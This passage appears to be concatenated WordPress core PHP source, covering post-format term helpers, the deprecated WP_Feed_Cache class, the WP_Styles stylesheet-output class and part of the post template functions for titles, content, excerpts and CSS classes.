				if ( isset( $term->taxonomy ) && 'post_format' === $term->taxonomy ) {
					$terms[ $order ]->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
				}
			}
		}
	}
	return $terms;
}

/**
 * Remove the post format prefix from the name property of the term objects created by wp_get_object_terms().
 *
 * @access private
 * @since 3.1.0
 *
 * @param array $terms
 * @return array
 */
function _post_format_wp_get_object_terms( $terms ) {
	foreach ( (array) $terms as $order => $term ) {
		if ( isset( $term->taxonomy ) && 'post_format' === $term->taxonomy ) {
			$terms[ $order ]->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
		}
	}
	return $terms;
}
<?php
/**
 * Feed API: WP_Feed_Cache class
 *
 * @package WordPress
 * @subpackage Feed
 * @since 4.7.0
 * @deprecated 5.6.0
 */

_deprecated_file(
	basename( __FILE__ ),
	'5.6.0',
	'',
	__( 'This file is only loaded for backward compatibility with SimplePie 1.2.x. Please consider switching to a recent SimplePie version.' )
);

/**
 * Core class used to implement a feed cache.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Feed_Cache extends SimplePie_Cache {

	/**
	 * Creates a new SimplePie_Cache object.
	 *
	 * @since 2.8.0
	 *
	 * @param string $location  URL location (scheme is used to determine handler).
	 * @param string $filename  Unique identifier for cache object.
	 * @param string $extension 'spi' or 'spc'.
	 * @return WP_Feed_Cache_Transient Feed cache handler object that uses transients.
	 */
	public function create( $location, $filename, $extension ) {
		return new WP_Feed_Cache_Transient( $location, $filename, $extension );
	}
}
<?php
/**
 * Dependencies API: WP_Styles class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core class used to register styles.
 *
 * @since 2.6.0
 *
 * @see WP_Dependencies
 */
class WP_Styles extends WP_Dependencies {
	/**
	 * Base URL for styles.
	 *
	 * Full URL with trailing slash.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $base_url;

	/**
	 * URL of the content directory.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $content_url;

	/**
	 * Default version string for stylesheets.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $default_version;

	/**
	 * The current text direction.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $text_direction = 'ltr';

	/**
	 * Holds a list of style handles which will be concatenated.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $concat = '';

	/**
	 * Holds a string which contains style handles and their version.
	 *
	 * @since 2.8.0
	 * @deprecated 3.4.0
	 * @var string
	 */
	public $concat_version = '';

	/**
	 * Whether to perform concatenation.
	 *
	 * @since 2.8.0
	 * @var bool
	 */
	public $do_concat = false;

	/**
	 * Holds HTML markup of styles and additional data if concatenation
	 * is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_html = '';

	/**
	 * Holds inline styles if concatenation is enabled.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $print_code = '';

	/**
	 * List of default directories.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $default_dirs;

	/**
	 * Holds a string which contains the type attribute for style tag.
	 *
	 * If the active theme does not declare HTML5 support for 'style',
	 * then it initializes as `type='text/css'`.
	 *
	 * @since 5.3.0
	 * @var string
	 */
	private $type_attr = '';

	/**
	 * Constructor.
	 *
	 * @since 2.6.0
	 */
	public function __construct() {
		if (
			function_exists( 'is_admin' ) && ! is_admin()
		&&
			function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' )
		) {
			$this->type_attr = " type='text/css'";
		}

		/**
		 * Fires when the WP_Styles instance is initialized.
		 *
		 * @since 2.6.0
		 *
		 * @param WP_Styles $wp_styles WP_Styles instance (passed by reference).
		 */
		do_action_ref_array( 'wp_default_styles', array( &$this ) );
	}

	/**
	 * Processes a style dependency.
	 *
	 * @since 2.6.0
	 * @since 5.5.0 Added the `$group` parameter.
	 *
	 * @see WP_Dependencies::do_item()
	 *
	 * @param string    $handle The style's registered handle.
	 * @param int|false $group  Optional. Group level: level (int), no groups (false).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function do_item( $handle, $group = false ) {
		if ( ! parent::do_item( $handle ) ) {
			return false;
		}

		$obj = $this->registered[ $handle ];

		if ( null === $obj->ver ) {
			$ver = '';
		} else {
			$ver = $obj->ver ? $obj->ver : $this->default_version;
		}

		if ( isset( $this->args[ $handle ] ) ) {
			$ver = $ver ? $ver . '&amp;' . $this->args[ $handle ] : $this->args[ $handle ];
		}

		$src         = $obj->src;
		$cond_before = '';
		$cond_after  = '';
		$conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : '';

		if ( $conditional ) {
			$cond_before = "<!--[if {$conditional}]>\n";
			$cond_after  = "<![endif]-->\n";
		}

		$inline_style = $this->print_inline_style( $handle, false );

		if ( $inline_style ) {
			$inline_style_tag = sprintf(
				"<style id='%s-inline-css'%s>\n%s\n</style>\n",
				esc_attr( $handle ),
				$this->type_attr,
				$inline_style
			);
		} else {
			$inline_style_tag = '';
		}

		if ( $this->do_concat ) {
			if ( $this->in_default_dir( $src ) && ! $conditional && ! isset( $obj->extra['alt'] ) ) {
				$this->concat         .= "$handle,";
				$this->concat_version .= "$handle$ver";

				$this->print_code .= $inline_style;

				return true;
			}
		}

		if ( isset( $obj->args ) ) {
			$media = esc_attr( $obj->args );
		} else {
			$media = 'all';
		}

		// A single item may alias a set of items, by having dependencies, but no source.
		if ( ! $src ) {
			if ( $inline_style_tag ) {
				if ( $this->do_concat ) {
					$this->print_html .= $inline_style_tag;
				} else {
					echo $inline_style_tag;
				}
			}

			return true;
		}

		$href = $this->_css_href( $src, $ver, $handle );
		if ( ! $href ) {
			return true;
		}

		$rel   = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet';
		$title = isset( $obj->extra['title'] ) ? sprintf( " title='%s'", esc_attr( $obj->extra['title'] ) ) : '';

		$tag = sprintf(
			"<link rel='%s' id='%s-css'%s href='%s'%s media='%s' />\n",
			$rel,
			$handle,
			$title,
			$href,
			$this->type_attr,
			$media
		);

		/**
		 * Filters the HTML link tag of an enqueued style.
		 *
		 * @since 2.6.0
		 * @since 4.3.0 Introduced the `$href` parameter.
		 * @since 4.5.0 Introduced the `$media` parameter.
		 *
		 * @param string $tag    The link tag for the enqueued style.
		 * @param string $handle The style's registered handle.
		 * @param string $href   The stylesheet's source URL.
		 * @param string $media  The stylesheet's media attribute.
		 */
		$tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media );

		if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) {
			if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) {
				$suffix   = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : '';
				$rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) );
			} else {
				$rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" );
			}

			$rtl_tag = sprintf(
				"<link rel='%s' id='%s-rtl-css'%s href='%s'%s media='%s' />\n",
				$rel,
				$handle,
				$title,
				$rtl_href,
				$this->type_attr,
				$media
			);

			/** This filter is documented in wp-includes/class-wp-styles.php */
			$rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media );

			if ( 'replace' === $obj->extra['rtl'] ) {
				$tag = $rtl_tag;
			} else {
				$tag .= $rtl_tag;
			}
		}

		if ( $this->do_concat ) {
			$this->print_html .= $cond_before;
			$this->print_html .= $tag;
			if ( $inline_style_tag ) {
				$this->print_html .= $inline_style_tag;
			}
			$this->print_html .= $cond_after;
		} else {
			echo $cond_before;
			echo $tag;
			$this->print_inline_style( $handle );
			echo $cond_after;
		}

		return true;
	}

	/**
	 * Adds extra CSS styles to a registered stylesheet.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle The style's registered handle.
	 * @param string $code   String containing the CSS styles to be added.
	 * @return bool True on success, false on failure.
	 */
	public function add_inline_style( $handle, $code ) {
		if ( ! $code ) {
			return false;
		}

		$after = $this->get_data( $handle, 'after' );
		if ( ! $after ) {
			$after = array();
		}

		$after[] = $code;

		return $this->add_data( $handle, 'after', $after );
	}

	/**
	 * Prints extra CSS styles of a registered stylesheet.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle  The style's registered handle.
	 * @param bool   $display Optional. Whether to print the inline style
	 *                        instead of just returning it. Default true.
	 * @return string|bool False if no data exists, inline styles if `$display` is true,
	 *                     true otherwise.
	 */
	public function print_inline_style( $handle, $display = true ) {
		$output = $this->get_data( $handle, 'after' );

		if ( empty( $output ) ) {
			return false;
		}

		$output = implode( "\n", $output );

		if ( ! $display ) {
			return $output;
		}

		printf(
			"<style id='%s-inline-css'%s>\n%s\n</style>\n",
			esc_attr( $handle ),
			$this->type_attr,
			$output
		);

		return true;
	}

	/**
	 * Determines style dependencies.
	 *
	 * @since 2.6.0
	 *
	 * @see WP_Dependencies::all_deps()
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no groups (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$r = parent::all_deps( $handles, $recursion, $group );
		if ( ! $recursion ) {
			/**
			 * Filters the array of enqueued styles before processing for output.
			 *
			 * @since 2.6.0
			 *
			 * @param string[] $to_do The list of enqueued style handles about to be processed.
			 */
			$this->to_do = apply_filters( 'print_styles_array', $this->to_do );
		}
		return $r;
	}

	/**
	 * Generates an enqueued style's fully-qualified URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $src    The source of the enqueued style.
	 * @param string $ver    The version of the enqueued style.
	 * @param string $handle The style's registered handle.
	 * @return string Style's fully-qualified URL.
	 */
	public function _css_href( $src, $ver, $handle ) {
		if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) {
			$src = $this->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = add_query_arg( 'ver', $ver, $src );
		}

		/**
		 * Filters an enqueued style's fully-qualified URL.
		 *
		 * @since 2.6.0
		 *
		 * @param string $src    The source URL of the enqueued style.
		 * @param string $handle The style's registered handle.
		 */
		$src = apply_filters( 'style_loader_src', $src, $handle );
		return esc_url( $src );
	}

	/**
	 * Whether a handle's source is in a default directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $src The source of the enqueued style.
	 * @return bool True if found, false if not.
	 */
	public function in_default_dir( $src ) {
		if ( ! $this->default_dirs ) {
			return true;
		}

		foreach ( (array) $this->default_dirs as $test ) {
			if ( str_starts_with( $src, $test ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Processes items and dependencies for the footer group.
	 *
	 * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer.
	 *
	 * @since 3.3.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_footer_items() {
		$this->do_items( false, 1 );
		return $this->done;
	}

	/**
	 * Resets class properties.
	 *
	 * @since 3.3.0
	 */
	public function reset() {
		$this->do_concat      = false;
		$this->concat         = '';
		$this->concat_version = '';
		$this->print_html     = '';
	}
}
<?php
/**
 * WordPress Post Template Functions.
 *
 * Gets content for the current post in the loop.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Displays the ID of the current item in the WordPress Loop.
 *
 * @since 0.71
 */
function the_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	echo get_the_ID();
}

/**
 * Retrieves the ID of the current item in the WordPress Loop.
 *
 * @since 2.1.0
 *
 * @return int|false The ID of the current item in the WordPress Loop. False if $post is not set.
 */
function get_the_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$post = get_post();
	return ! empty( $post ) ? $post->ID : false;
}

/**
 * Displays or retrieves the current post title with optional markup.
 *
 * @since 0.71
 *
 * @param string $before  Optional. Markup to prepend to the title. Default empty.
 * @param string $after   Optional. Markup to append to the title. Default empty.
 * @param bool   $display Optional. Whether to echo or return the title. Default true for echo.
 * @return void|string Void if `$display` argument is true or the title is empty,
 *                     current post title if `$display` is false.
 */
function the_title( $before = '', $after = '', $display = true ) {
	$title = get_the_title();

	if ( strlen( $title ) === 0 ) {
		return;
	}

	$title = $before . $title . $after;

	if ( $display ) {
		echo $title;
	} else {
		return $title;
	}
}

/**
 * Sanitizes the current title when retrieving or displaying.
 *
 * Works like the_title(), except the parameters can be in a string or
 * an array. See the function for what can be override in the $args parameter.
 *
 * The title before it is displayed will have the tags stripped and esc_attr()
 * before it is passed to the user or displayed. The default as with the_title(),
 * is to display the title.
 *
 * @since 2.3.0
 *
 * @param string|array $args {
 *     Title attribute arguments. Optional.
 *
 *     @type string  $before Markup to prepend to the title. Default empty.
 *     @type string  $after  Markup to append to the title. Default empty.
 *     @type bool    $echo   Whether to echo or return the title. Default true for echo.
 *     @type WP_Post $post   Current post object to retrieve the title for.
 * }
 * @return void|string Void if 'echo' argument is true, the title attribute if 'echo' is false.
 */
function the_title_attribute( $args = '' ) {
	$defaults    = array(
		'before' => '',
		'after'  => '',
		'echo'   => true,
		'post'   => get_post(),
	);
	$parsed_args = wp_parse_args( $args, $defaults );

	$title = get_the_title( $parsed_args['post'] );

	if ( strlen( $title ) === 0 ) {
		return;
	}

	$title = $parsed_args['before'] . $title . $parsed_args['after'];
	$title = esc_attr( strip_tags( $title ) );

	if ( $parsed_args['echo'] ) {
		echo $title;
	} else {
		return $title;
	}
}

/**
 * Retrieves the post title.
 *
 * If the post is protected and the visitor is not an admin, then "Protected"
 * will be inserted before the post title. If the post is private, then
 * "Private" will be inserted before the post title.
 *
 * @since 0.71
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string
 */
function get_the_title( $post = 0 ) {
	$post = get_post( $post );

	$post_title = isset( $post->post_title ) ? $post->post_title : '';
	$post_id    = isset( $post->ID ) ? $post->ID : 0;

	if ( ! is_admin() ) {
		if ( ! empty( $post->post_password ) ) {

			/* translators: %s: Protected post title. */
			$prepend = __( 'Protected: %s' );

			/**
			 * Filters the text prepended to the post title for protected posts.
			 *
			 * The filter is only applied on the front end.
			 *
			 * @since 2.8.0
			 *
			 * @param string  $prepend Text displayed before the post title.
			 *                         Default 'Protected: %s'.
			 * @param WP_Post $post    Current post object.
			 */
			$protected_title_format = apply_filters( 'protected_title_format', $prepend, $post );

			$post_title = sprintf( $protected_title_format, $post_title );
		} elseif ( isset( $post->post_status ) && 'private' === $post->post_status ) {

			/* translators: %s: Private post title. */
			$prepend = __( 'Private: %s' );

			/**
			 * Filters the text prepended to the post title of private posts.
			 *
			 * The filter is only applied on the front end.
			 *
			 * @since 2.8.0
			 *
			 * @param string  $prepend Text displayed before the post title.
			 *                         Default 'Private: %s'.
			 * @param WP_Post $post    Current post object.
			 */
			$private_title_format = apply_filters( 'private_title_format', $prepend, $post );

			$post_title = sprintf( $private_title_format, $post_title );
		}
	}

	/**
	 * Filters the post title.
	 *
	 * @since 0.71
	 *
	 * @param string $post_title The post title.
	 * @param int    $post_id    The post ID.
	 */
	return apply_filters( 'the_title', $post_title, $post_id );
}

/**
 * Displays the Post Global Unique Identifier (guid).
 *
 * The guid will appear to be a link, but should not be used as a link to the
 * post. The reason you should not use it as a link, is because of moving the
 * blog across domains.
 *
 * URL is escaped to make it XML-safe.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
 */
function the_guid( $post = 0 ) {
	$post = get_post( $post );

	$post_guid = isset( $post->guid ) ? get_the_guid( $post ) : '';
	$post_id   = isset( $post->ID ) ? $post->ID : 0;

	/**
	 * Filters the escaped Global Unique Identifier (guid) of the post.
	 *
	 * @since 4.2.0
	 *
	 * @see get_the_guid()
	 *
	 * @param string $post_guid Escaped Global Unique Identifier (guid) of the post.
	 * @param int    $post_id   The post ID.
	 */
	echo apply_filters( 'the_guid', $post_guid, $post_id );
}

/**
 * Retrieves the Post Global Unique Identifier (guid).
 *
 * The guid will appear to be a link, but should not be used as an link to the
 * post. The reason you should not use it as a link, is because of moving the
 * blog across domains.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
 * @return string
 */
function get_the_guid( $post = 0 ) {
	$post = get_post( $post );

	$post_guid = isset( $post->guid ) ? $post->guid : '';
	$post_id   = isset( $post->ID ) ? $post->ID : 0;

	/**
	 * Filters the Global Unique Identifier (guid) of the post.
	 *
	 * @since 1.5.0
	 *
	 * @param string $post_guid Global Unique Identifier (guid) of the post.
	 * @param int    $post_id   The post ID.
	 */
	return apply_filters( 'get_the_guid', $post_guid, $post_id );
}

/**
 * Displays the post content.
 *
 * @since 0.71
 *
 * @param string $more_link_text Optional. Content for when there is more text.
 * @param bool   $strip_teaser   Optional. Strip teaser content before the more text. Default false.
 */
function the_content( $more_link_text = null, $strip_teaser = false ) {
	$content = get_the_content( $more_link_text, $strip_teaser );

	/**
	 * Filters the post content.
	 *
	 * @since 0.71
	 *
	 * @param string $content Content of the current post.
	 */
	$content = apply_filters( 'the_content', $content );
	$content = str_replace( ']]>', ']]&gt;', $content );
	echo $content;
}

/**
 * Retrieves the post content.
 *
 * @since 0.71
 * @since 5.2.0 Added the `$post` parameter.
 *
 * @global int   $page      Page number of a single post/page.
 * @global int   $more      Boolean indicator for whether single post/page is being viewed.
 * @global bool  $preview   Whether post/page is in preview mode.
 * @global array $pages     Array of all pages in post/page. Each array element contains
 *                          part of the content separated by the `<!--nextpage-->` tag.
 * @global int   $multipage Boolean indicator for whether multiple pages are in play.
 *
 * @param string             $more_link_text Optional. Content for when there is more text.
 * @param bool               $strip_teaser   Optional. Strip teaser content before the more text. Default false.
 * @param WP_Post|object|int $post           Optional. WP_Post instance or Post ID/object. Default null.
 * @return string
 */
function get_the_content( $more_link_text = null, $strip_teaser = false, $post = null ) {
	global $page, $more, $preview, $pages, $multipage;

	$_post = get_post( $post );

	if ( ! ( $_post instanceof WP_Post ) ) {
		return '';
	}

	/*
	 * Use the globals if the $post parameter was not specified,
	 * but only after they have been set up in setup_postdata().
	 */
	if ( null === $post && did_action( 'the_post' ) ) {
		$elements = compact( 'page', 'more', 'preview', 'pages', 'multipage' );
	} else {
		$elements = generate_postdata( $_post );
	}

	if ( null === $more_link_text ) {
		$more_link_text = sprintf(
			'<span aria-label="%1$s">%2$s</span>',
			sprintf(
				/* translators: %s: Post title. */
				__( 'Continue reading %s' ),
				the_title_attribute(
					array(
						'echo' => false,
						'post' => $_post,
					)
				)
			),
			__( '(more&hellip;)' )
		);
	}

	$output     = '';
	$has_teaser = false;

	// If post password required and it doesn't match the cookie.
	if ( post_password_required( $_post ) ) {
		return get_the_password_form( $_post );
	}

	// If the requested page doesn't exist.
	if ( $elements['page'] > count( $elements['pages'] ) ) {
		// Give them the highest numbered page that DOES exist.
		$elements['page'] = count( $elements['pages'] );
	}

	$page_no = $elements['page'];
	$content = $elements['pages'][ $page_no - 1 ];
	if ( preg_match( '/<!--more(.*?)?-->/', $content, $matches ) ) {
		if ( has_block( 'more', $content ) ) {
			// Remove the core/more block delimiters. They will be left over after $content is split up.
			$content = preg_replace( '/<!-- \/?wp:more(.*?) -->/', '', $content );
		}

		$content = explode( $matches[0], $content, 2 );

		if ( ! empty( $matches[1] ) && ! empty( $more_link_text ) ) {
			$more_link_text = strip_tags( wp_kses_no_null( trim( $matches[1] ) ) );
		}

		$has_teaser = true;
	} else {
		$content = array( $content );
	}

	if ( str_contains( $_post->post_content, '<!--noteaser-->' ) && ( ! $elements['multipage'] || 1 == $elements['page'] ) ) {
		$strip_teaser = true;
	}

	$teaser = $content[0];

	if ( $elements['more'] && $strip_teaser && $has_teaser ) {
		$teaser = '';
	}

	$output .= $teaser;

	if ( count( $content ) > 1 ) {
		if ( $elements['more'] ) {
			$output .= '<span id="more-' . $_post->ID . '"></span>' . $content[1];
		} else {
			if ( ! empty( $more_link_text ) ) {

				/**
				 * Filters the Read More link text.
				 *
				 * @since 2.8.0
				 *
				 * @param string $more_link_element Read More link element.
				 * @param string $more_link_text    Read More text.
				 */
				$output .= apply_filters( 'the_content_more_link', ' <a href="' . get_permalink( $_post ) . "#more-{$_post->ID}\" class=\"more-link\">$more_link_text</a>", $more_link_text );
			}
			$output = force_balance_tags( $output );
		}
	}

	return $output;
}

/**
 * Displays the post excerpt.
 *
 * @since 0.71
 */
function the_excerpt() {

	/**
	 * Filters the displayed post excerpt.
	 *
	 * @since 0.71
	 *
	 * @see get_the_excerpt()
	 *
	 * @param string $post_excerpt The post excerpt.
	 */
	echo apply_filters( 'the_excerpt', get_the_excerpt() );
}

/**
 * Retrieves the post excerpt.
 *
 * @since 0.71
 * @since 4.5.0 Introduced the `$post` parameter.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string Post excerpt.
 */
function get_the_excerpt( $post = null ) {
	if ( is_bool( $post ) ) {
		_deprecated_argument( __FUNCTION__, '2.3.0' );
	}

	$post = get_post( $post );
	if ( empty( $post ) ) {
		return '';
	}

	if ( post_password_required( $post ) ) {
		return __( 'There is no excerpt because this is a protected post.' );
	}

	/**
	 * Filters the retrieved post excerpt.
	 *
	 * @since 1.2.0
	 * @since 4.5.0 Introduced the `$post` parameter.
	 *
	 * @param string  $post_excerpt The post excerpt.
	 * @param WP_Post $post         Post object.
	 */
	return apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );
}

/**
 * Determines whether the post has a custom excerpt.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.3.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return bool True if the post has a custom excerpt, false otherwise.
 */
function has_excerpt( $post = 0 ) {
	$post = get_post( $post );
	return ( ! empty( $post->post_excerpt ) );
}

/**
 * Displays the classes for the post container element.
 *
 * @since 2.7.0
 *
 * @param string|string[] $css_class Optional. One or more classes to add to the class list.
 *                                   Default empty.
 * @param int|WP_Post     $post      Optional. Post ID or post object. Defaults to the global `$post`.
 */
function post_class( $css_class = '', $post = null ) {
	// Separates classes with a single space, collates classes for post DIV.
	echo 'class="' . esc_attr( implode( ' ', get_post_class( $css_class, $post ) ) ) . '"';
}

/**
 * Retrieves an array of the class names for the post container element.
 *
 * The class names are many:
 *
 *  - If the post has a post thumbnail, `has-post-thumbnail` is added as a class.
 *  - If the post is sticky, then the `sticky` class name is added.
 *  - The class `hentry` is always added to each post.
 *  - For each taxonomy that the post belongs to, a class will be added of the format
 *    `{$taxonomy}-{$slug}`, e.g. `category-foo` or `my_custom_taxonomy-bar`.
 *    The `post_tag` taxonomy is a special case; the class has the `tag-` prefix
 *    instead of `post_tag-`.
 *
 * All class names are passed through the filter, {@see 'post_class'}, followed by
 * `$css_class` parameter value, with the post ID as the last parameter.
 *
 * @since 2.7.0
 * @since 4.2.0 Custom taxonomy class names were added.
 *
 * @param string|string[] $css_class Optional. Space-separated string or array of class names
 *                                   to add to the class list. Default empty.
 * @param int|WP_Post     $post      Optional. Post ID or post object.
 * @return string[] Array of class names.
 */
function get_post_class( $css_class = '', $post = null ) {
	$post = get_post( $post );

	$classes = array();

	if ( $css_class ) {
		if ( ! is_array( $css_class ) ) {
			$css_class = preg_split( '#\s+#', $css_class );
		}
		$classes = array_map( 'esc_attr', $css_class );
	} else {
		// Ensure that we always coerce class to being an array.
		$css_class = array();
	}

	if ( ! $post ) {
		return $classes;
	}

	$classes[] = 'post-' . $post->ID;
	if ( ! is_admin() ) {
		$classes[] = $post->post_type;
	}
	$classes[] = 'type-' . $post->post_type;
	$classes[] = 'status-' . $post->post_status;

	// Post Format.
	if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
		$post_format = get_post_format( $post->ID );

		if ( $post_format && ! is_wp_error( $post_format ) ) {
			$classes[] = 'format-' . sanitize_html_class( $post_format );
		} else {
			$classes[] = 'format-standard';
		}
	}

	$post_password_required = post_password_required( $post->ID );

	// Post requires password.
	if ( $post_password_required ) {
		$classes[] = 'post-password-required';
	} elseif ( ! empty( $post->post_password ) ) {
		$classes[] = 'post-password-protected';
	}

	// Post thumbnails.
	if ( current_theme_supports( 'post-thumbnails' ) && has_post_thumbnail( $post->ID ) && ! is_attachment( $post ) && ! $post_password_required ) {
		$classes[] = 'has-post-thumbnail';
	}

	// Sticky for Sticky Posts.
	if ( is_sticky( $post->ID ) ) {
		if ( is_home() && ! is_paged() ) {
			$classes[] = 'sticky';
		} elseif ( is_admin() ) {
			$classes[] = 'status-sticky';
		}
	}

	// hentry for hAtom compliance.
	$classes[] = 'hentry';

	// All public taxonomies.
	$taxonomies = get_taxonomies( array( 'public' => true ) );

	/**
	 * Filters the taxonomies to generate classes for each individual term.
	 *
	 * Default is all public taxonomies registered to the post type.
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $taxonomies List of all taxonomy names to generate classes for.
	 * @param int      $post_id    The post ID.
	 * @param string[] $classes    An array of post class names.
	 * @param string[] $css_class  An array of additional class names added to the post.
	*/
	$taxonomies = apply_filters( 'post_class_taxonomies', $taxonomies, $post->ID, $classes, $css_class );

	foreach ( (array) $taxonomies as $taxonomy ) {
		if ( is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
			foreach ( (array) get_the_terms( $post->ID, $taxonomy ) as $term ) {
				if ( empty( $term->slug ) ) {
					continue;
				}

				$term_class = sanitize_html_class( $term->slug, $term->term_id );
				if ( is_numeric( $term_class ) || ! trim( $term_class, '-' ) ) {
					$term_class = $term->term_id;
				}

				// 'post_tag' uses the 'tag' prefix for backward compatibility.
				if ( 'post_tag' === $taxonomy ) {
					$classes[] = 'tag-' . $term_class;
				} else {
					$classes[] = sanitize_html_class( $taxonomy . '-' . $term_class, $taxonomy . '-' . $term->term_id );
				}
			}
		}
	}

	$classes = array_map( 'esc_attr', $classes );

	/**
	 * Filters the list of CSS class names for the current post.
	 *
	 * @since 2.7.0
	 *
	 * @param string[] $classes   An array of post class names.
	 * @param string[] $css_class An array of additional class names added to the post.
	 * @param int      $post_id   The post ID.
	 */
	$classes = apply_filters( 'post_class', $classes, $css_class, $post->ID );

	return array_unique( $classes );
}

/**
 * Displays the class names for the body element.
 *
 * @since 2.8.0
 *
 * @param string|string[] $css_class Optional. Space-separated string or array of class names
 *                                   to add to the class list. Default empty.
 */
function body_class( $css_class = '' ) {
	// Separates class names with a single space, collates class names for body element.
	echo 'class="' . esc_attr( implode( ' ', get_body_class( $css_class ) ) ) . '"';
}

/**
 * Retrieves an array of the class names for the body element.
 *
 * @since 2.8.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $css_class Optional. Space-separated string or array of class names
 *                                   to add to the class list. Default empty.
 * @return string[] Array of class names.
 */
function get_body_class( $css_class = '' ) {
	global $wp_query;

	$classes = array();

	if ( is_rtl() ) {
		$classes[] = 'rtl';
	}

	if ( is_front_page() ) {
		$classes[] = 'home';
	}
	if ( is_home() ) {
		$classes[] = 'blog';
	}
	if ( is_privacy_policy() ) {
		$classes[] = 'privacy-policy';
	}
	if ( is_archive() ) {
		$classes[] = 'archive';
	}
	if ( is_date() ) {
		$classes[] = 'date';
	}
	if ( is_search() ) {
		$classes[] = 'search';
		$classes[] = $wp_query->posts ? 'search-results' : 'search-no-results';
	}
	if ( is_paged() ) {
		$classes[] = 'paged';
	}
	if ( is_attachment() ) {
		$classes[] = 'attachment';
	}
	if ( is_404() ) {
		$classes[] = 'error404';
	}

	if ( is_singular() ) {
		$post      = $wp_query->get_queried_object();
		$post_id   = $post->ID;
		$post_type = $post->post_type;

		if ( is_page_template() ) {
			$classes[] = "{$post_type}-template";

			$template_slug  = get_page_template_slug( $post_id );
			$template_parts = explode( '/', $template_slug );

			foreach ( $template_parts as $part ) {
				$classes[] = "{$post_type}-template-" . sanitize_html_class( str_replace( array( '.', '/' ), '-', basename( $part, '.php' ) ) );
			}
			$classes[] = "{$post_type}-template-" . sanitize_html_class( str_replace( '.', '-', $template_slug ) );
		} else {
			$classes[] = "{$post_type}-template-default";
		}

		if ( is_single() ) {
			$classes[] = 'single';
			if ( isset( $post->post_type ) ) {
				$classes[] = 'single-' . sanitize_html_class( $post->post_type, $post_id );
				$classes[] = 'postid-' . $post_id;

				// Post Format.
				if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
					$post_format = get_post_format( $post->ID );

					if ( $post_format && ! is_wp_error( $post_format ) ) {
						$classes[] = 'single-format-' . sanitize_html_class( $post_format );
					} else {
						$classes[] = 'single-format-standard';
					}
				}
			}
		}

		if ( is_attachment() ) {
			$mime_type   = get_post_mime_type( $post_id );
			$mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' );
			$classes[]   = 'attachmentid-' . $post_id;
			$classes[]   = 'attachment-' . str_replace( $mime_prefix, '', $mime_type );
		} elseif ( is_page() ) {
			$classes[] = 'page';
			$classes[] = 'page-id-' . $post_id;

			if ( get_pages(
				array(
					'parent' => $post_id,
					'number' => 1,
				)
			) ) {
				$classes[] = 'page-parent';
			}

			if ( $post->post_parent ) {
				$classes[] = 'page-child';
				$classes[] = 'parent-pageid-' . $post->post_parent;
			}
		}
	} elseif ( is_archive() ) {
		if ( is_post_type_archive() ) {
			$classes[] = 'post-type-archive';
			$post_type = get_query_var( 'post_type' );
			if ( is_array( $post_type ) ) {
				$post_type = reset( $post_type );
			}
